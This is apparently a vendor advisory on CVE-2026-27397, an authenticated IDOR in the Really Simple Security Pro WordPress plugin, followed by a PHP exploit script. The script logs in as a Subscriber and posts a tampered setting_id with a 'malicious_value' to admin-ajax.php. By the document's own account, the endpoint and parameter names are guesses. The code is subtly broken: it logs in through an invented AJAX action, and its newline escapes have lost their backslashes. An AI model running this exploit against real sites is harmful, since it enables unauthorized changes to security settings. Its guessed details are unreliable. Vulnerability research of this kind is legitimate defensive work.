Atomic Edge analysis of CVE-2026-27397 (metadata-based):
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Really Simple Security Pro WordPress plugin, affecting versions up to and including 9.5.4.0. The flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions by manipulating a user-controlled key parameter. The CVSS:3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack requiring low privileges, leading to integrity impact without confidentiality or availability loss.
Atomic Edge research infers the root cause is an authorization bypass via a user-controlled key (CWE-639). The plugin likely processes a request containing an object identifier (e.g., a user ID, setting ID, or log entry ID) without verifying the requesting user has permission to access that specific object. The vulnerability description confirms missing validation on the user-controlled key. Without code diff access, Atomic Edge cannot confirm the exact function or endpoint, but the CWE classification indicates the plugin retrieves an object based on a client-supplied identifier and fails to perform an ownership or capability check before acting upon it.
Exploitation likely occurs via a WordPress AJAX handler or REST API endpoint. Attackers with valid Subscriber credentials would authenticate, then send a crafted HTTP request to a plugin-specific endpoint. The request would contain a manipulated key parameter to reference an object belonging to another user or a higher-privileged resource. A plausible attack vector is a POST request to `/wp-admin/admin-ajax.php` with an action parameter like `rsssl_pro_action` and a key parameter such as `setting_id`, `user_id`, or `log_id`. The attacker modifies this key’s value to an unauthorized target, causing the plugin to perform an action (view, modify, delete) on that object.
Remediation requires implementing proper authorization checks before processing object references. The patch likely added a capability check (e.g., `current_user_can()`) or an ownership verification step. The fix should validate that the authenticated user has the right to access the specific object identified by the user-supplied key. This often involves querying the database to confirm the object’s owner matches the current user ID, or that the user’s role has permission for the requested operation on that object type.
The impact is unauthorized actions on plugin objects. While the CVSS vector indicates no confidentiality impact (C:N), the integrity impact (I:L) suggests attackers could modify plugin settings, user data, or security logs they should not access. In a WordPress context, this could allow a Subscriber to view or alter security configurations, clear audit logs, or manipulate other users’ plugin-specific data. The vulnerability does not grant direct privilege escalation to administrative roles, but it could weaken the site’s security posture by allowing unauthorized changes to the security plugin’s operations.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27397 - Really Simple Security Pro <= 9.5.4.0 - Authenticated (Subscriber+) Insecure Direct Object Reference
<?php
/**
* Proof of Concept for CVE-2026-27397.
* This script demonstrates an authenticated IDOR attack against Really Simple Security Pro <= 9.5.4.0.
* Assumptions based on CWE-639 and WordPress patterns:
* 1. The plugin exposes an AJAX endpoint for an action like 'get_setting' or 'delete_log'.
* 2. The endpoint accepts a key parameter (e.g., 'id', 'setting_id', 'log_id') without ownership checks.
* 3. Subscriber-level users can access the endpoint but should only reference their own objects.
*
* WARNING: This PoC is based on inferred patterns. Actual endpoint and parameter names may differ.
* Use only on authorized test systems.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // Valid Subscriber username
$password = 'subscriber_pass'; // Valid Subscriber password
// Step 1: Authenticate and obtain WordPress authentication cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'really_simple_security_pro_auth', // Inferred action name
'username' => $username,
'password' => $password
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt', // Save session cookies
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Craft IDOR exploit request
// Assumed vulnerable endpoint: /wp-admin/admin-ajax.php?action=rsssl_pro_update_setting
// Assumed vulnerable parameter: 'setting_id' referencing another user's setting
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'rsssl_pro_update_setting', // Inferred AJAX action
'setting_id' => '123', // User-controlled key - attacker changes to unauthorized ID
'setting_value' => 'malicious_value' // Data to write to unauthorized setting
]),
CURLOPT_COOKIEFILE => '/tmp/cookies.txt', // Use authenticated session
CURLOPT_RETURNTRANSFER => true
]);
$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output results
echo "Atomic Edge CVE-2026-27397 PoCn";
echo "Target: $target_urln";
echo "HTTP Response Code: $http_coden";
echo "Response Body: $exploit_responsen";
if ($http_code == 200 && strpos($exploit_response, 'success') !== false) {
echo "[+] Likely SUCCESS: Unauthorized action performed via IDOR.n";
} else {
echo "[-] Attack may have failed or endpoint/parameters differ.n";
}
?>
